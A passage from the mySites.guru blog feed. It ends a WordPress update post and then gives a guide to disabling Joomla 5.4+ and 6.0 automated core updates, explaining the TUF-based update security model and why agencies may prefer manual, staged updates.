&lt;p&gt;Without that kind of visibility across your whole portfolio, you’re just hoping. Hoping every site still has the right setting, that no hosting migration reset it, and that no one changed it during a support ticket three months ago.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Configuring Automatic Background Updates&lt;/a&gt; — WordPress Developer Resources documentation on all update types and how to configure them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants Reference&lt;/a&gt; — official reference for WP_AUTO_UPDATE_CORE, AUTOMATIC_UPDATER_DISABLED, and every other wp-config.php constant&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; — the class that handles all automatic background updates, including VCS checkout detection and the should_update logic&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;is_vcs_checkout() Method Reference&lt;/a&gt; — how WordPress detects Git, SVN, Mercurial, and Bazaar to disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_major_auto_core_updates/&quot;&gt;allow_major_auto_core_updates Filter&lt;/a&gt; — filter hook for programmatic control over major version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_minor_auto_core_updates/&quot;&gt;allow_minor_auto_core_updates Filter&lt;/a&gt; — filter hook for programmatic control over minor version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/automatic_updates_is_vcs_checkout/&quot;&gt;automatic_updates_is_vcs_checkout Filter&lt;/a&gt; — filter to override WordPress’s version control detection&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/wp_version_check/&quot;&gt;wp_version_check() Function Reference&lt;/a&gt; — the function WordPress uses to check for available core updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/&quot;&gt;The Definitive Guide to Disabling Auto Updates in WordPress 3.7&lt;/a&gt; — the original Make WordPress Core post from when the auto-update system launched&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Version pinning is one of several strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;updates at scale guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>security</category><category>wp-config</category><category>auto-updates</category><enclosure url="https://mysites.guru/img/og/blog/enforce-minor-upgrades-only-wordpress.png" length="0" type="image/png"/></item><item><title>How to Disable Automated Joomla Core Upgrades in Joomla 5.4+ and 6.0</title><link>https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</guid><description>Joomla 5.4 and 6.0 auto-update your site without asking. How to disable Joomla automatic updates, why agencies should, and the TUF security model behind them.</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 and 6.0 introduced automated core updates. Your Joomla site can now register itself with Joomla.org’s update infrastructure and apply core patches without anyone touching the admin panel. New installations have this enabled by default.&lt;/p&gt;
&lt;p&gt;If you manage client sites, you probably want to turn this off. Here’s how.&lt;/p&gt;
&lt;h2&gt;Disabling Automated Joomla Core Updates Across Your Portfolio&lt;/h2&gt;
&lt;h3&gt;Method 1: Using mySites.guru across all your sites&lt;/h3&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, logging into each one to toggle a setting is exactly the kind of repetitive work that eats your day. mySites.guru handles this from one screen.&lt;/p&gt;
&lt;p&gt;During each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;site snapshot&lt;/a&gt;, mySites.guru checks the &lt;code&gt;autoupdate&lt;/code&gt; parameter in the &lt;code&gt;com_joomlaupdate&lt;/code&gt; configuration on every connected Joomla 5.4+ and 6.0+ site. If the parameter is missing or set to &lt;code&gt;1&lt;/code&gt;, the site is flagged as having an issue. The dashboard shows you all your Joomla sites with their current status at a glance:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru dashboard showing the &amp;quot;Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades&amp;quot; tool with a list of Joomla sites and their auto-update status - green ticks for sites where auto-updates are disabled, red crosses for sites where they are still enabled&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 800px) 800px, 100vw&quot; width=&quot;800&quot; height=&quot;263&quot; src=&quot;https://mysites.guru/_astro/joomla-auto-update-tool-list.CVLnWAZM_2kigRO.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-auto-update-tool-list.CVLnWAZM_Z26zlWr.webp 640w, https://mysites.guru/_astro/joomla-auto-update-tool-list.CVLnWAZM_ZtGC5L.webp 750w, https://mysites.guru/_astro/joomla-auto-update-tool-list.CVLnWAZM_2kigRO.webp 800w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Each site gets a simple toggle:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green tick&lt;/strong&gt; = auto-updates are disabled (recommended)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red cross&lt;/strong&gt; = auto-updates are not disabled - this is flagged as an issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Clicking the toggle sets the &lt;code&gt;autoupdate&lt;/code&gt; parameter to &lt;code&gt;0&lt;/code&gt; on the remote site, preventing Joomla from automatically upgrading until you change the setting back. For an agency managing dozens or hundreds of Joomla sites, this turns a multi-hour task into a few minutes of clicking through a filtered list.&lt;/p&gt;
&lt;p&gt;The same check also appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each individual site’s audit:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru site audit showing the Joomla Configuration section with the &amp;quot;Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades&amp;quot; check showing OK status with a green tick after auto-updates have been disabled&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 800px) 800px, 100vw&quot; width=&quot;800&quot; height=&quot;456&quot; src=&quot;https://mysites.guru/_astro/joomla-auto-update-audit-ok.CWhMifzp_Z1h5QVq.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-auto-update-audit-ok.CWhMifzp_2hXtAU.webp 640w, https://mysites.guru/_astro/joomla-auto-update-audit-ok.CWhMifzp_ZXalfE.webp 750w, https://mysites.guru/_astro/joomla-auto-update-audit-ok.CWhMifzp_Z1h5QVq.webp 800w&quot; /&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;One-way toggle by design&lt;/p&gt;
  &lt;p&gt;mySites.guru can disable auto-updates remotely, but it cannot enable them. If you decide you want automated updates on a specific site, you need to enable that directly in the Joomla administrator panel on version 5.4+. This is a intended safety measure - auto-updates should only be turned on with full awareness of what the feature does.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel detection&lt;/a&gt;, you can see both &lt;em&gt;which versions&lt;/em&gt; your sites are being offered and &lt;em&gt;whether they’ll install those versions automatically&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Method 2: Through the Joomla admin panel&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System → Joomla! Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Options&lt;/strong&gt; in the toolbar&lt;/li&gt;
&lt;li&gt;Select the &lt;strong&gt;Automated Updates&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Toggle the setting from &lt;strong&gt;Yes&lt;/strong&gt; to &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt=&quot;Joomla Update Options screen showing the Automated Updates tab with the Automated Update toggle set to Yes, the Update Token field, Last Checked timestamp, and Send Email to User Groups set to Super Users&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 800px) 800px, 100vw&quot; width=&quot;800&quot; height=&quot;739&quot; src=&quot;https://mysites.guru/_astro/joomla-automated-updates-tab.BwpYqiBM_Z1k5lRm.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-automated-updates-tab.BwpYqiBM_Z1fH2VW.webp 640w, https://mysites.guru/_astro/joomla-automated-updates-tab.BwpYqiBM_Z2wAjhr.webp 750w, https://mysites.guru/_astro/joomla-automated-updates-tab.BwpYqiBM_Z1k5lRm.webp 800w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can also reach this from the Home Dashboard - look for the “Automated Updates are disabled” quick icon. If it shows an orange icon instead of green, automated updates are still enabled - click through to the settings to disable them.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Joomla Home Dashboard showing four quick icons: Automated Updates are disabled (orange), Overrides are up to date (green), Joomla is up to date (green), and Extensions are up to date (green)&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 800px) 800px, 100vw&quot; width=&quot;800&quot; height=&quot;482&quot; src=&quot;https://mysites.guru/_astro/joomla-dashboard-automated-updates-disabled.BngwyM7w_Z1MsHih.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-dashboard-automated-updates-disabled.BngwyM7w_Z1Mdhe3.webp 640w, https://mysites.guru/_astro/joomla-dashboard-automated-updates-disabled.BngwyM7w_aPgvQ.webp 750w, https://mysites.guru/_astro/joomla-dashboard-automated-updates-disabled.BngwyM7w_Z1MsHih.webp 800w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Method 3: During installation (for new sites)&lt;/h3&gt;
&lt;p&gt;Since the opt-out mechanism was added, the Joomla installation wizard includes a &lt;strong&gt;Disable Automated Updates&lt;/strong&gt; button on the final screen after installation completes. Clicking it prevents the site from registering with the update server entirely.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Don&apos;t miss the opt-out during installation&lt;/p&gt;
  &lt;p&gt;The opt-out button appears only on the final installation screen. Once you delete the installation directory, there&apos;s no going back to that screen. If you miss it, disable automated updates through the admin panel (Method 2) instead.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Managing Joomla updates after disabling auto-updates&lt;/h2&gt;
&lt;p&gt;Disabling automated updates doesn’t mean ignoring updates. It means you decide when they happen. A solid update workflow for agencies looks like this:&lt;/p&gt;
&lt;h3&gt;1. Monitor available updates from one dashboard&lt;/h3&gt;
&lt;p&gt;Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru’s update management&lt;/a&gt; to see which Joomla sites have pending core updates. You get this information from your regular site snapshots without logging into each site. When a security release ships - like the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 patch&lt;/a&gt; on 26 May 2026 covering an MFA bypass and a com_users privilege escalation - this is the view that tells you which sites in the portfolio are still on the vulnerable version.&lt;/p&gt;
&lt;h3&gt;2. Test on a staging site first&lt;/h3&gt;
&lt;p&gt;Before applying a Joomla core update to a client’s production site, test it on a staging copy. Check that all extensions work, forms submit correctly, and custom code still functions. This is the step that automated updates skip entirely.&lt;/p&gt;
&lt;h3&gt;3. Back up before updating&lt;/h3&gt;
&lt;p&gt;Make sure each site has a current backup before you apply the update. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt; can automate this so you’re not manually triggering backups across dozens of sites.&lt;/p&gt;
&lt;h3&gt;4. Apply updates in batches&lt;/h3&gt;
&lt;p&gt;With mySites.guru, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade multiple Joomla sites&lt;/a&gt; from one dashboard. Apply the update to a small group first, verify everything is stable, then roll out to the rest. This gives you the speed of bulk updates with the safety of incremental rollout.&lt;/p&gt;
&lt;h3&gt;5. Document the change&lt;/h3&gt;
&lt;p&gt;If you provide &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;client reports&lt;/a&gt;, the update should appear in the report for that maintenance period. Automated updates that happen without your involvement don’t show up in your documentation - another reason to keep updates in your own hands.&lt;/p&gt;
&lt;h3&gt;6. Selectively enable extension auto-updates instead&lt;/h3&gt;
&lt;p&gt;Disabling Joomla core auto-updates does not mean turning off automation completely. The &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling Joomla extension auto-updates safely&lt;/a&gt; covers the opposite half of the workflow: keep core in your hands, let trusted extension streams (Akeeba Backup, Admin Tools, JCE, RegularLabs) update on their own with a daily backup-first policy.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;What Joomla Automated Core Updates Actually Do&lt;/h2&gt;
&lt;p&gt;Joomla 5.1 (April 2024) introduced &lt;strong&gt;The Update Framework (TUF)&lt;/strong&gt; to cryptographically secure the update process, but TUF alone didn’t make updates automatic. It wasn’t until Joomla 5.4 and 6.0 (both released October 2025) that fully automatic core updates arrived, built on top of that TUF foundation. The process has four steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your Joomla site registers itself with a centralized server on Joomla.org infrastructure and receives a unique authentication token.&lt;/li&gt;
&lt;li&gt;The remote server uses that token to signal your site that an update is available.&lt;/li&gt;
&lt;li&gt;Your site (not the remote server) downloads the update package and installs it. The process is pull-based: the remote server cannot push code to your site directly.&lt;/li&gt;
&lt;li&gt;After a successful update, all super users on the site receive an email notification.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Only Joomla core files are updated. Third-party extensions, templates, and plugins are left untouched - if you want control over extension updates, that’s a separate mechanism covered in our guide to &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt;. The core-only scope is actually a large part of the problem for agencies.&lt;/p&gt;
&lt;h3&gt;What data does registration collect?&lt;/h3&gt;
&lt;p&gt;When your site registers with the autoupdate.joomla.org service, it sends technical information about your environment: &lt;code&gt;php_version&lt;/code&gt;, &lt;code&gt;db_type&lt;/code&gt;, &lt;code&gt;db_version&lt;/code&gt;, &lt;code&gt;cms_version&lt;/code&gt;, and &lt;code&gt;server_os&lt;/code&gt;. An authentication token is generated and stored on both the Joomla update server and your site. This token is how the remote server authenticates requests to your site’s API.&lt;/p&gt;
&lt;p&gt;The registration also creates new REST API endpoints on your site through &lt;code&gt;com_joomlaupdate&lt;/code&gt;’s webservices integration. These endpoints allow the update server to communicate with your Joomla installation, checking status and triggering the update process. It is also why &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;disabling the Joomla API&lt;/a&gt; switches automated updates off.&lt;/p&gt;
&lt;h3&gt;How updates get applied without admin login&lt;/h3&gt;
&lt;p&gt;The update mechanism bypasses the traditional &lt;code&gt;/administrator/&lt;/code&gt; login flow entirely. Instead of going through the admin panel, the remote server communicates with your site through Joomla’s &lt;code&gt;/api&lt;/code&gt; endpoints, proxied through &lt;code&gt;/index.php&lt;/code&gt;. This means even if you’ve locked down your admin panel with IP restrictions, password-protected directories, or &lt;code&gt;.htaccess&lt;/code&gt; rules, the automated update system can still reach your site through the front-end API path.&lt;/p&gt;
&lt;p&gt;That’s by design: the update needs to work without human interaction, so it can’t rely on an authenticated admin session. But it does mean there’s an additional attack surface to consider, even if TUF protections make exploitation difficult.&lt;/p&gt;
&lt;h3&gt;Requirements for automated updates to work&lt;/h3&gt;
&lt;p&gt;Automated updates won’t activate unless all of these are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site must be &lt;strong&gt;publicly accessible&lt;/strong&gt; on the internet (localhost and intranet sites are excluded)&lt;/li&gt;
&lt;li&gt;The update channel must be set to &lt;strong&gt;Default&lt;/strong&gt; (not “Joomla Next” or “Testing” - see our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;Joomla update channels&lt;/a&gt; for why this matters)&lt;/li&gt;
&lt;li&gt;Minimum stability must be set to &lt;strong&gt;Stable&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The site must be running &lt;strong&gt;Joomla 5.4 or higher&lt;/strong&gt; (or 6.0+)&lt;/li&gt;
&lt;li&gt;Working mail configuration (for post-update notification emails)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The default behavior depends on how the site was installed&lt;/h3&gt;
&lt;p&gt;This is the part that catches people off guard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New installations&lt;/strong&gt; of Joomla 5.4+ or 6.0+: automated updates are &lt;strong&gt;enabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites upgraded&lt;/strong&gt; from Joomla 5.3 or earlier to 5.4+: automated updates are &lt;strong&gt;disabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’ve been running Joomla 5 since before 5.4 and upgraded through the normal update process, you’re fine - the feature is off unless you turned it on. But any fresh Joomla installation (new client site, dev environment spun up with the latest version, a hosting provider’s one-click installer) has automated updates running from day one.&lt;/p&gt;
&lt;h2&gt;What is The Update Framework (TUF)?&lt;/h2&gt;
&lt;p&gt;TUF is an open-source security specification that protects software update systems from supply-chain attacks. It started in the Python community and is now a graduated &lt;a href=&quot;https://www.cncf.io/&quot;&gt;Cloud Native Computing Foundation (CNCF)&lt;/a&gt; project under the Linux Foundation. Docker, Google, Amazon, Microsoft, VMware, and Cloudflare all use it.&lt;/p&gt;
&lt;p&gt;The problem it solves: what happens when the server distributing your updates gets compromised? Without TUF, an attacker who controls the update server can serve a malicious package and every client that checks for updates will install it. TUF prevents this with a few mechanisms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cryptographic signing with role separation.&lt;/strong&gt; Updates aren’t signed by a single key. TUF splits signing responsibilities across multiple roles - root, targets, snapshot, and timestamp - each with their own keys. Compromising one key doesn’t give an attacker the ability to forge a complete, valid update.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threshold signatures.&lt;/strong&gt; Critical actions require M-of-N signatures (e.g., 3 out of 5 keyholders must sign). Even if an attacker steals one or two keys, they still can’t produce a valid release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expiration enforcement.&lt;/strong&gt; TUF metadata has built-in expiration dates. A client won’t accept stale metadata, which limits the window for replay attacks where an attacker serves an old, vulnerable version as if it were current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consistent snapshots.&lt;/strong&gt; The framework ensures clients get a consistent view of the repository at a point in time, preventing mix-and-match attacks where an attacker combines files from different releases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How Joomla uses TUF&lt;/h3&gt;
&lt;p&gt;Before Joomla 5.1, the updater retrieved update information from an XML file hosted on the Joomla.org CDN. Whatever that XML file said was trusted - there was no cryptographic verification that the update information actually came from the Joomla project. If someone compromised the CDN or the update server, they could point every Joomla site to a malicious download.&lt;/p&gt;
&lt;p&gt;Joomla 5.1 replaced this with a &lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;TUF-based update system&lt;/a&gt;. The implementation includes a server-side setup for the update repository with a CLI tool for managing signing keys and publishing releases, and a PHP client library that reads and verifies TUF metadata before accepting any update. Even if an attacker compromises the update server infrastructure, they cannot forge the cryptographic signatures that prove an update was published by the official Joomla project.&lt;/p&gt;
&lt;p&gt;The automated update feature introduced in Joomla 5.4 builds on top of this TUF foundation. The pull-based mechanism (where your site downloads and verifies the update itself rather than receiving pushed code) combined with TUF’s signature verification means the worst-case scenario for a server compromise is that an attacker could trigger a &lt;em&gt;legitimate&lt;/em&gt; pending update to install sooner than expected - not inject arbitrary code.&lt;/p&gt;
&lt;p&gt;The entire infrastructure is open source. The PHP client library is based on &lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf&lt;/a&gt;, a shared implementation also used by Drupal and TYPO3 - though Joomla maintains &lt;a href=&quot;https://github.com/joomla-backports/php-tuf&quot;&gt;its own fork&lt;/a&gt; with several changes. The fork fixes how signature verifiers are recreated during root key rotation (aligning with the TUF spec more strictly than upstream), relaxes &lt;code&gt;spec_version&lt;/code&gt; validation to accept a wider range of version formats, fixes canonical JSON key sorting for nested arrays, adds PHP 8.4 nullable type compatibility, and widens the Guzzle Promises constraint to support both v1 and v2. A &lt;a href=&quot;https://gist.github.com/PhilETaylor/0fee6f69316cc10e8bf56cd3a22ee887&quot;&gt;full diff of the fork’s changes&lt;/a&gt; is available. The fork does lag behind upstream on some improvements like static caching, delegated role optimizations, and the latest TUF spec version. The signed metadata itself - covering all four TUF roles (root, targets, snapshot, and timestamp) - lives in the &lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; repository, which has accumulated over 1,500 commits of cryptographic signatures and update artifacts. The server that orchestrates the pull-based update cycle is the &lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Automated-Updates-Server&lt;/a&gt;, a Laravel 11 application hosted by the Joomla project. It runs on PHP 8.3+ with Laravel Horizon managing the job queue: health-checking registered sites every 15 minutes, queuing update jobs when patches are available, and removing inactive sites after 7 days of failed checks. Joomla is the first PHP-based CMS to ship TUF verification in its update pipeline.&lt;/p&gt;
&lt;p&gt;For site administrators, TUF operates transparently. You don’t need to configure anything or manage keys. It runs in the background every time your site checks for or applies a Joomla core update, whether manual or automated.&lt;/p&gt;
&lt;h2&gt;The Agency Case for Disabling Automated Updates&lt;/h2&gt;
&lt;p&gt;The feature was built for a specific audience: the long tail of Joomla sites with no active maintenance. After a security patch release, there’s roughly a 10-12 hour window before attackers reverse-engineer the fix and start scanning for unpatched sites. For sites with no one watching the dashboard, automated updates close that window.&lt;/p&gt;
&lt;p&gt;But if you’re reading this blog, you probably manage sites professionally. Automated updates don’t fit that workflow. These concerns aren’t new, either. Back in 2014, Brian Teeman - co-founder of Joomla - wrote that &lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;automatic updates for Joomla are a bad idea&lt;/a&gt;, arguing that the risks of breaking sites without notice outweigh the convenience. His point: “You definitely do not want to find out at 2 a.m. on a Saturday night that an update has gone wrong when a furious client calls you.” Over a decade later, with the feature now shipping in core, those same arguments still hold.&lt;/p&gt;
&lt;p&gt;Joomla isn’t alone in this tension, either. Drupal is building its own automatic updates initiative and is upfront about the limitations. Their own documentation states: “Automatic updates are generally not intended for use by large enterprise organizations that already have their own build workflows and pipelines. Instead, the intent is to support small-to-medium site owners who have a ‘set-it-and-forget-it’ attitude towards their Drupal installations.” (&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;source&lt;/a&gt;). That’s exactly the distinction that matters here: automatic updates are for unmanaged sites, not for sites you’re actively responsible for.&lt;/p&gt;
&lt;h3&gt;Extension compatibility breaks&lt;/h3&gt;
&lt;p&gt;The core updates but your extensions don’t. An automated patch can hit a site running extensions that haven’t been tested against the new core version. Contact forms stop submitting. E-commerce checkout flows fail. On client sites running niche or legacy extensions, the risk gets worse.&lt;/p&gt;
&lt;p&gt;We’ve seen this pattern play out for years with &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;WordPress automatic updates&lt;/a&gt; and it’s no different here.&lt;/p&gt;
&lt;h3&gt;No staging-first workflow&lt;/h3&gt;
&lt;p&gt;The automated system updates the live site directly. There’s no mechanism to route the update through a staging environment first, verify that everything works, and then apply to production. For agencies that bill for maintenance and guarantee uptime, skipping the test step is unacceptable.&lt;/p&gt;
&lt;h3&gt;Unpredictable timing&lt;/h3&gt;
&lt;p&gt;Updates can trigger at any time. During peak traffic. Right before a client presentation. While you’re in the middle of debugging something else on the same site. You have no say in the timing.&lt;/p&gt;
&lt;h3&gt;Backup dependency&lt;/h3&gt;
&lt;p&gt;Every guide on automated updates (including Joomla’s own documentation) stresses that having a current, restorable backup before each update is “absolutely vital.” That’s true, but on a portfolio of 50+ sites, ensuring every site has a valid backup at the exact moment an automated update fires is an operational challenge. If you’re using &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;mySites.guru’s backup scheduling&lt;/a&gt;, you have a safety net - but the timing still isn’t guaranteed to align.&lt;/p&gt;
&lt;h3&gt;Undermines your maintenance service&lt;/h3&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;sell maintenance contracts&lt;/a&gt; where tested, documented updates are part of the service, automated updates create confusion. A client’s site updates itself overnight, something breaks, and the first question is “who did this?” Explaining that Joomla did it on its own doesn’t exactly inspire confidence in the controlled process you promised them.&lt;/p&gt;
&lt;h3&gt;Continuous data transmission&lt;/h3&gt;
&lt;p&gt;Once registered, the service performs health checks every 24 hours, transmitting technical information about your site to Joomla’s servers - including PHP version, database type and version, CMS version, and server OS. This happens regardless of whether a new update is available. If your clients are in regulated industries or have strict data governance policies, this ongoing communication with an external service may need to be disclosed or approved.&lt;/p&gt;
&lt;h3&gt;Cloudflare and WAF interference&lt;/h3&gt;
&lt;p&gt;Community reports confirm that Cloudflare’s Bot Fight Mode blocks the automated update mechanism, returning 403 errors. Sites behind aggressive WAF rules may need additional configuration to allow the update server’s requests through. If you manage sites on varied hosting environments, this adds another variable to troubleshoot when updates fail with no error.&lt;/p&gt;
&lt;h3&gt;The feature is still maturing&lt;/h3&gt;
&lt;p&gt;The autoupdate.joomla.org service stability under high load has not been fully demonstrated in production at scale. The feature was developed by a small team of contributors, and additional security concerns have been reported to the Joomla Security Strike Team and are still being addressed. Failure notifications rely on your site being operational after the upgrade - if an update causes a site error, no notification will be sent. If client site availability is what you sell, relying on a system that’s still proving itself in production adds risk you probably don’t need.&lt;/p&gt;
&lt;h2&gt;Auditing Your Existing Joomla Sites&lt;/h2&gt;
&lt;p&gt;If you’ve been building new Joomla sites since October 2025 (when 5.4.0 and 6.0.0 shipped) - or more recently since &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 released in April 2026&lt;/a&gt; - some of them may have automated updates running without you realizing it. To audit your portfolio:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run a snapshot&lt;/strong&gt; on all your connected Joomla sites in &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the automated update status&lt;/strong&gt; - the dashboard will show you which sites have the feature enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable it&lt;/strong&gt; on any site where you want manual control, directly from the dashboard&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify the update channel&lt;/strong&gt; - while you’re at it, confirm all sites are on the “Default” channel, not “Joomla Next” (which could trigger a major version jump)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you’re not using mySites.guru yet, you can start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see the state of your sites.&lt;/p&gt;
&lt;h3&gt;What to look for in the audit results&lt;/h3&gt;
&lt;p&gt;When you run the audit, the “Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades” check appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each site’s report. Sites where auto-updates are already disabled show a green &lt;strong&gt;OK&lt;/strong&gt; badge. Sites where the &lt;code&gt;autoupdate&lt;/code&gt; parameter is set to &lt;code&gt;1&lt;/code&gt; (or missing entirely, which Joomla 5.4+ interprets as opting in) show a red &lt;strong&gt;1 Issue&lt;/strong&gt; badge.&lt;/p&gt;
&lt;p&gt;Pay particular attention to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sites built after October 2025&lt;/strong&gt; - new installations default to auto-updates enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites on shared hosting&lt;/strong&gt; with one-click Joomla installers - the hosting provider’s installer may not disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites passed on from other developers&lt;/strong&gt; - you may not know what settings the previous maintainer used&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dev/staging sites&lt;/strong&gt; that were later pointed to production domains - if the original install had auto-updates enabled, the production site inherited that setting&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Check your hosting control panel too&lt;/h3&gt;
